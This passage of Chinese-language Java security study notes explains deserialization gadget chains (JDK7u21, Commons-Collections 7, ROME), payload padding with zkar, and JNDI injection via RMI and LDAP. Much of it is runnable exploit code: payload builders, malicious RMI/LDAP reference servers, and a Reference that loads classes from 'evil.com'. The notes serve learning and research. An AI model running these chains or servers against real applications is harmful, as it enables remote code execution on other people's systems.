,这个东西我们其实之前提到过,不过今天我们的重点在于它的方法 equalsImpl
:
可以看到它调用了var5.invoke,直接传入参数var1对var5这个方法进行了调用,如果我们能控制var5为 getOutputProperties
,var1为 TemplatesImpl
,回顾反射的定义,这就相当于执行了 TemplatesImpl#getOutputProperties
,那么其实就和CB链一样了。
那么如何调用 equalsImpl
呢?其实和CC1有点像,CC1是通过代理走 AnnotationInvocationHandler#invoke
里面的get来触发LazyMap,而我们这次走的是invode里的equalsImpl
:
可以看到当方法名等于“equals”,且仅有一个 Object
类型参数时,会调用到 equalsImpl
方法,那么我们现在就得找一个反序列化的时候会对proxy进行equals的方法,而这里我们的目标是HashSet,因为set里不允许重复,那么肯定会涉及对象之间的比较,我们看到HashSet的readObject:
可以看到这里使用了一个HashMap,通过将对象保存在key里来去重,我们再来跟一下这个put:
从上面我们可以看出来,当两个不同的对象hash相同时,他会使用equals进行比较,那么我们该怎么让 proxy
对象的哈希等于 TemplateImpl
对象的哈希呢?从图里可以看到计算哈希的主要是这么两行代码:
int hash = hash(key);
int i = indexFor(hash, table.length);
而这个哈希函数的主要逻辑如下:
从这里可以看出,决定比较结果的主要是这个k.hashcode()
,TemplateImpl
的 hashCode()
是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让 proxy
的 hashCode()
与之相等,只能寄希望于 proxy.hashCode()
,而 proxy.hashCode()
其实也会调用 AnnotationInvocationHandler#invoke
从而触发 AnnotationInvocationHandler#hashCodeImpl
,我们看到这个 hashCodeImpl
:
private int hashCodeImpl() {
int var1 = 0;
Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}
return var1;
}
JDK7u21中使用了一个非常巧妙的方法:
- 当
memberValues
中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode())^value.hashCode() - 当
key.hashCode()
等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCode()
- 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等
所以我们只需要找到一个hashCode是0的对象作为key,恶意TemplateImpl对象作为 value ,那么这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了,在yso里,这个hashCode为0的对象就是字符串 f5a5a608:
现在我们的攻击流程如下:HashSet#readObject
=> 对HashSet进行代理同时保证HashSet的两个元素hashCode()相同从而触发equals=>触发代理类的 invoke
里的 AnnotationInvocationHandler#equalsImpl
=> 触发 TemplatesImpl#getOutputProperties
,完整代码如下(注意EvilTest用JDK7u21编译份新的,不是同版本触发不了):
package com;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "1");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
Java反序列化协议构造与分析
这里还是继续跟着p神的步子学,首先去github下一下p神自己写的分析序列化数据流的工具:https://github.com/phith0n/zkar/releases/tag/v1.5.1,首先我们看一下序列化流的架构:
stream:
magic version contents
contents:
content
contents content
content:
object
blockdata
object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET
stream就是指完整的序列化协议流,由三个部分组成:
magic
是固定的魔数:0xACED
(即 JAVA serialization 流的标志)version
是版本号,通常是0x0005
(Java Object Serialization 版本5)contents
是后续的主体数据
因此java序列化流以 \xAC\xED\x00\x05
开头。
接下来是contents
,即内容块,内容块实际上是递归定义的,它可以是一个 content
也可以是多个content
拼接,同时contents
是可递归的,因为反序列化流可以连续写入很多对象、数据块等。
content
是具体的内容单元,由两部分组成:
object
是各种序列化对象。blockdata
是一块原始数据(比如写入一些bytes数组)。
object
是对象,组成部分如下:
newObject
:新对象,TC_OBJECT
newClass
:新类描述,TC_CLASS
newArray
:新数组,TC_ARRAY
newString
:字符串,TC_STRING
或TC_LONGSTRING
newEnum
:枚举,TC_ENUM
newClassDesc
:新的类描述(classDesc,比如java.util.HashMap
类信息)prevObject
:引用前面已经出现过的对象,TC_REFERENCE
nullReference
:空引用,TC_NULL
exception
:异常对象。TC_RESET
:重置流状态,告诉ObjectInputStream丢弃之前已经缓存的对象。
newObject
和 newClass
都是由一个标示符+ classDesc + newHandle 组成,只不过 newObject
多一个 classdata[] 。原因是,它是一个对象,其包含了实例化类中的数据,这些数据就储存在
classdata[] 中。而 classDesc
可以理解为对 newClassDesc
的一个封装。
newHandle
是一个唯一ID,序列化协议里的每一个结构都拥有一个ID,这个ID由 0x7E0000 开始,每遇
到下一个结构就+1,并设置成这个结构的唯一ID, prevObject
指针就是通过这个ID来定位它指向的结构。
我们可以写一个简单的demo来用zkar进行分析:
package shiroTest;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
public class SerializeTest {
public static void main(String[] args) throws Exception {
User user = new User("Bob");
user.setParent(new User("Josua"));
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteStream);
oos.writeObject(user);
oos.close(); // 记得关闭,防止内存泄漏
String base64 = Base64.getEncoder().encodeToString(byteStream.toByteArray());
System.out.println(base64);
}
}
class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private User parent;
public User(String name) {
this.name = name;
}
public void setParent(User parent) {
this.parent = parent;
}
public String getName() {
return name;
}
public User getParent() {
return parent;
}
}
zkar.exe dump -B rO0ABXNyAA5zaGlyb1Rlc3QuVXNlcgAAAAAAAAABAgACTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wABnBhcmVudHQAEExzaGlyb1Rlc3QvVXNlcjt4cHQAA0JvYnNxAH4AAHQABUpvc3VhcA==
在这里面就可以看到很多我们之前分析过的东西,比如这个[]classData 数组中有属性 name
和 parent
等等
如果我们想向我们的序列化流包含垃圾数据,我们就可以使用 content
里的 blockdata
,而 blockdata
存在两种情况:blockdatashort
和 blockdatalong
,很显然,后面这种肯定保存的数据会多得多。
blockdatalong
由三部分组成:
TC_BLOCKDATALONG
标示符(int)<size>
数据长度,是一个4字节的整型(byte)[size]
数据具体的内容
比如我们把我们之前cc6生成的反序列化数据保存到一个cc6.ser里,然后用p神这个项目来填充恶意字节(其实就是创建了一个serz.TCContent对象,然后在他的BLOCKDATALONG
里存一个非常大的数组):
package main
import (
"io/ioutil"
"log"
"strings"
"github.com/phith0n/zkar/serz"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_BLOCKDATALONG,
BlockData: &serz.TCBlockData{
Data: []byte(strings.Repeat("a", 40000)),
},
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}
然后读取之后进行反序列化,可以看到成功RCE:
package com.CC;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class DeserializeCC6 {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("cc6-padding.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject(); // 这里就触发了
ois.close();
fis.close();
System.out.println("反序列化完成!");
}
}
contents 里即可以是 object 也可以是 blockdata,但是我们不能把 blockdata 放在 object 前面,原因在于Java只会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。我们之前的操作之所以可行,是因为当时我们的 blockdata 在 object 后面,object处理完之后其实就退出了,所以也没有解析 blockdata 。不过 Java 在处理 object 前Java会丢弃所有的 TC_RESET,所以我们其实可以在 TC_RESET 里填充恶意数据,这样就能保证恶意数据在前,有效载荷在后:
package main
import (
"io/ioutil"
"log"
"github.com/phith0n/zkar/serz"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(serialization.Contents, serialization.Contents...)
ioutil.WriteFile("cc6-padding-new.ser", serialization.ToBytes(), 0o755)
}
至此,p神的Java安全漫谈就结束了,令人感叹。
JNDI注入基础
JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于统一访问各种命名和目录服务(Naming and Directory Services),如:
- LDAP(轻量目录访问协议)
- DNS(域名系统)
- 文件系统(本地命名)
- RMI(远程对象)
- 数据库连接池(DataSource,Java EE 中常见)
它的主要作用是使用统一接口查找、绑定和解除绑定对象以及实现资源名称和资源对象的解耦,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。jndi的作用主要在于”定位”,比如定位rmi中注册的对象,访问ldap的目录服务等等,有了这个名字,我们就能用这个名字去访问相应的对象。
在JNDI中有这么几个关键元素:
- Name:要在命名系统中查找对象,请为其提供对象的名称
- Bind:名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context::上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
目录中存储的对象主要包括:官网文档给出定义
- CORBA objects
- Java serializable objects
Referenceable
objects and JNDIReferences
- Objects with attributes (
DirContext
) - RMI objects
其中最常见的是 References引用对象 和 RMI远程对象。
InitialContext
是我们访问 JNDI 的入口。创建它就像拿起一个电话本,然后我们就可以通过名称查找注册的对象:
Context ctx = new InitialContext();
Object obj = ctx.lookup("rmi://host/serviceName");
Reference
是一种远程描述,它指向某个类名和它的加载方式(可带上类加载器地址 URL),JNDI 客户端在 lookup 后根据它加载类实例化对象,如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载 class 字节码
文件来实例化(第一个参数为对象,第二个参数为工厂,第三个参数为工厂的位置)
Reference ref = new Reference("ExploitClass", "ExploitClass", "http://evil.com/");
但 Reference 本身不是远程对象,所以必须通过 ReferenceWrapper(位于 com.sun.jndi.rmi.registry),这个类用于把 Reference 封装为远程对象,可以被 RMI Registry 接受并绑定。
JNDI注入利用过程如下:
- 攻击者将Payload绑定到攻击者的命名/目录服务中
- 攻击者将绝对URL注入易受攻击的JNDI查找方法
- 应用程序执行查找
- 应用程序连接到攻击者控制的JNDI服务并返回Payload
- 应用程序解码响应并触发有效负载
RMI + JNDI
环境要求 JDK 6u132
、7u122
、8u113
之前,利用流程:
- 客户端程序调用了
InitialContext.lookup(url)
,且url可被输入控制,指向精心构造好的RMI服务地址 - 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
- 当客户端执行lookup的时候,客户端会获取相应的
object factory
,通过factory.getObjectInstance()
获取外部远程对象实例 - 攻击者在Factory类文件的构造方法,静态代码块,
getObjectInstance()
方法等处写入恶意代码,达到远程代码执行的效果 - 既然要用到Factory,所以恶意类得实现
ObjectFactory
接口
RMI Object
首先定义远程调用接口,这是客户端和服务端共享的远程调用规范:
package JNDI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Evil extends Remote {
public String hello() throws RemoteException;
}
然后实现远程对象,继承 UnicastRemoteObject
使它可以通过 RMI 远程访问,方法 hello()
就是远程执行的 payload
package JNDI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class EvilObj extends UnicastRemoteObject implements Evil {
protected EvilObj() throws RemoteException {
}
@Override
public String hello() throws RemoteException {
return "Hello Hacker!";
}
}
这里是 RMI 注册服务端,启动本地 1099 端口作为 RMI 注册中心,将 EvilObj 注册进去,名称为 "hello"
。
package JNDI;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
//创建注册中心
LocateRegistry.createRegistry(1099);
//创建远程对象
EvilObj rmiObject = new EvilObj();
// 绑定name
Naming.bind("hello", rmiObject);
}
}
和RMI不同,这里我们就不需要创建RMI client,毕竟也不是它做调用,我们需要的是建立 JNDI 的Server,利用 JNDI 上下文绑定远程对象,使用 JNDI 的 bind
方法,将 EvilObj 映射到一个 RMI 地址,此时,JNDI 成为目录服务的中间人
package JNDI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException {
// 上下文创建
InitialContext context = new InitialContext();
// 上下文命名绑定RMI
context.bind("rmi://127.0.0.1:1099/Hello", new EvilObj());
}
}
最后是JNDI客户端,也就是受害者,客户端通过 JNDI 查找远程对象,客户端执行 lookup
操作,JNDI 会通过 RMI 协议访问远程注册中心,成功获取到 EvilObj 的代理对象,并调用其 hello()
方法:
package JNDI;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
public class JNDIRMICilent {
public static void main(String[] args) throws NamingException, RemoteException {
// 上下文创建
InitialContext context = new InitialContext();
Evil obj = (Evil) context.lookup("rmi://127.0.0.1:1099/Hello");
System.out.println(obj.hello());
}
}
接着依次运行RMIServer,JNDIRMIServer和JNDIRMIClient,代码就成功运行了
上面的案例里一共有五个组件:
- Evil 接口:定义了远程对象的方法
- EvilObj 类:实现了 Evil 接口,并继承了
UnicastRemoteObject
,成为 RMI 可远程调用的对象 - RMIServer:启动一个 RMI 注册中心并将 EvilObj 注册进去(RMI 服务端)
- JNDIRMIServer:使用 JNDI 将 EvilObj 绑定到一个 RMI 地址(JNDI 目录服务)
- JNDIRMICilent:客户端,通过 JNDI 查找并远程调用 EvilObj 的方法(受害端)
借用一张Chatgpt画的图:
┌────────────────────┐
│ 客户端 │
│ JNDIRMICilent │
└────────┬───────────┘
│ lookup("rmi://127.0.0.1:1099/Hello")
▼
┌────────────────────┐
│ JNDI 上下文 │
│ InitialContext │
└────────┬───────────┘
│
│ 通过 RMI 协议连接
▼
┌────────────────────┐
│ RMI 注册中心 │
│ LocateRegistry │
└────────┬───────────┘
│
│ 返回注册的对象(EvilObj)
▼
┌────────────────────┐
│ EvilObj │
│ 实现了 hello() │
└────────┬───────────┘
│
│ 返回 hello() 方法结果
▼
┌────────────────────┐
│ 客户端收到返回值 │
│ "Hello Hacker!" │
└────────────────────┘
References引用对象
这里我们可以通过使用References引用对象实现类似的功能。
首先创建恶意类,实现ObjectFactory
接口,把恶意代码写在getObjectInstance
里面(注意恶意类要无包名,不然会报错):
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilObj implements ObjectFactory {
static {
System.out.println("Hello static!");
}
public EvilObj() {
System.out.println("Hello constructor!");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("Hello getObjectInstance!");
return null;
}
}
这里我们可以直接把 RMI 注册中心 和 JNDI 服务端写在一起,
package JNDI2;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 启动一个RMI注册中心,监听端口1099,接受客户端连接
Registry registry = LocateRegistry.createRegistry(1099);
// 恶意类所在的地址(必须能通过HTTP访问 EvilObj.class)
String factoryUrl = "http://localhost:1098/";
// 创建一个指向远程类的引用,一共有三个参数:
// className:告诉JNDI“你最后要返回的类型”
// factoryClassName:工厂类名(ObjectFactory)
// factoryLocation:在哪里能下载到这个class文件
Reference reference = new Reference("EvilObj", "EvilObj", factoryUrl);
// RMI注册中心只允许注册 Remote 类型的对象,而 Reference 不是,所以需要包装
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 把这个“恶意 Reference”绑定在名字 "Hello" 上,供客户端 lookup
registry.bind("Hello", wrapper);
}
}
最后是JNDI客户端,也就是攻击目标,这里就和之前一样了:
package JNDI2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRMICilent {
public static void main(String[] args) throws NamingException {
// 创建JNDI上下文(默认环境)
InitialContext context = new InitialContext();
// 远程查找名称为 Hello 的对象(RMI注册中心中注册的名字)
context.lookup("rmi://127.0.0.1:1099/Hello");
}
}
首先我们编译EvilObj.class,然后用python起一个服务,保证能通过http://localhost:1098/访问到:
python -m http.server 1098
最后依次运行 JNDIRMIServer 和 JNDIRMICilent(getObjectInstance
是获取实际绑定对象时触发的) :
客户端: lookup("rmi://127.0.0.1:1099/Hello")
↓
RMI服务端返回 ReferenceWrapper → 包含 Reference("EvilObj", "EvilObj", "http://localhost:1098/")
↓
JNDI下载 EvilObj.class → 加载类 → static 块执行
↓
new EvilObj() → 构造函数执行
↓
getObjectInstance(...) → 主恶意逻辑触发
JNDI & LDAP
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和管理分布式目录信息的应用协议。它是基于客户端-服务器架构设计的,允许用户通过网络访问和操作目录服务,如查询用户信息、认证、授权等。LDAP 可以实现Java对象的存储,所以能返回JNDI Reference对象,利用过程类似于RMI Reference,只不过协议换成了 ldap://
,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
利用过程如下:
- 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
- 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
- 服务器解码JNDI引用
- 服务器从攻击者控制的服务器获取Factory类
- 服务器实例化Factory类
- 有效载荷得到执行
首先我们下一个3.1.1的unboundid-ldapsdk
然后我们来配置一个 LDAP 服务器,作用主要是配置一个内存中模拟的 LDAP 服务器,监听来自客户端的请求,当接收到搜索请求时,OperationInterceptor
会拦截并返回一个指向恶意类的引用。这些引用包含了恶意类的代码库 URL 和类名等信息。
package JNDI3;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String url = "http://127.0.0.1:9999/#EvilObj";
int port = 39654;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
接着配置客户端,主要是创建一个 InitialContext
实例并向 LDAP 服务器查询指定路径的条目(ldap://127.0.0.1:39654/aaa
),服务器返回一个包含恶意类引用的 LDAP 响应,JNDI 会根据这些信息尝试加载并执行恶意类。
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
public class LdapClient {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:39654/aaa"; // 向LDAP服务器发送查询请求
Context context = new InitialContext();
context.lookup(url); // 使用JNDI查询恶意类
}
}
接着依次启动服务端和客户端即可:
+------------------+ +-------------------+
| | | |
| LdapClient | ----(查询请求)---> | LdapServer |
| | | |
| 1. 发起LDAP请求 | | 2. 返回恶意类引用 |
| | | |
+------------------+ +-------------------+
^ |
| <----(恶意类引用)------ |
| |
| v
| +-------------------+
| | OperationInterceptor |
| | 3. 拦截请求并发送恶意类引用 |
| +-------------------+
| |
v |
4. 客户端加载恶意类并执行 |
|-------------------------------------------->
|
5. 触发远程代码执行
后记
对于RMI,JDK 6u132, JDK 7u122, JDK 8u113 开始开始com.sun.jndi.rmi.object.trustURLCodebase
默认值为false,所以默认不信任远程代码的,无法加载远程 RMI 代码。
对于LDAP,在Oracle JDK 6u211、7u201、8u191、11.0.1之后,com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制
CommonsCollections7
这次来到CC大家族中的CC7,CC7是从CC6改过来的,我本地的环境还是jdk 1.8.0_65和CC3.2.1,具体的gadget如下:
Gadget chain:
Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
看gadget就看得出来,核心是用 AbstractMap#equals
触发到 LazyMap#get
方法进而触发transform方法进入利用链,然后就和CC1的后半段一样了:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
那么我们就首先看到gadget的开头,Hashtable#readObject
:
主要就是触发了 reconstitutionPut
,继续跟一下:
这里的关键是这个 e.key.equals(key)
,而LazyMap里是没有equals方法的,所以它调用的其实是它的父类里的AbstractMapDecorator#equals
它在这里调用了 this.map.equals(object)
,我们构造恶意链的时候,会利用LazyMap的decorate将Hashtable属性传给map,所以这里调用的会是 HashMap#equals
,而HashMap里其实也没有equals方法,这里调用的其实是继承来的 AbstractMap#equals
,这里可以触发 LazyMap#get
,然后就可以触发transformer进而RCE了:
现在回到开头,想要调用 e.key.equals(key)
其实还必须满足 e.hash == hash
,这里就需要用到一个trick,构造两个LazyMap,让两个LazyMap的hash恰好相等,再把LazyMap存入hashtable:
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
但这里有个小问题,我们必须要在反序列化之前remove掉我们写入的yy,否则这里的equals就走不了了,key里会多一个yy:
这是因为Hashtable调用put方法添加第二个元素的时候会根据key判断是否是同一元素,调用了equal就会插入”yy”,我们移除一下即可,现在完整代码如下:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable table = new Hashtable();
table.put(lazyMap1, 1);
table.put(lazyMap2, 2);
setFieldValue(transformerChain, "iTransformers", transformers);
lazyMap2.remove("yy");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(table);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
ROME链
yso利用链
yso里的gadget如下:
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
需要的依赖是rome 1.0
从里往外看,可以看到我们的老朋友 TemplatesImpl#getOutputProperties
,CB1里用过这东西,它能调用 newTransformer
进而触发 TemplatesImpl
链子。而触发 TemplatesImpl#getOutputProperties
的关键点在于 ToStringBean#toString
:
可以看到这里有一个 getPropertyDescriptors
:
这玩意儿的作用是分析类的结构,找出哪些方法是标准的 getter/setter 方法,接着在 ToStringBean#toString
的后面就用invoke进行触发了,所以我们只需要传入一个OutputProperties
,接着 invoke 就会执行 getOutputProperties
了。
在gadget里可以看到调用 ToStringBean.toString(String)
之前还调用了一次ToStringBean#toString()
:
这东西的作用其实就是返回一个字符串,我们需要控制 this._obj
是 TemplatesImpl
,这样最后才能生成一个 TemplatesImpl
。再往上走是 ObjectBean.toString()
:
